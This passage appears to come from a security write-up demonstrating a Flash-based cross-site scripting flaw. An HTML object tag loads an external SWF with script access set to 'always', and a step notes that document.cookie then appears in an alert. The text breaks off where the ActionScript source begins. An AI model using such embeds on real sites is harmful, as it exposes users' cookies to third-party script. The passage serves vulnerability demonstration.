<object type="application/x-shockwave-flash" data="http://www.subhohalder.com/xysecteam.swf" width="300" height="300">
<param name="movie" value="http://www.subhohalder.com/xysecteam.swf" />
<param name="quality" value="high" />
<param name="scale" value="noscale" />
<param name="salign" value="LT" />
<param name="allowScriptAccess" value="always" />
<param name="menu" value="false" />
</object>
4) Click on update, and the document.cookie pop ups in alert
the vulnerable SWF is compiled from an ActionScript with the following code:
class Main {
static function main() {
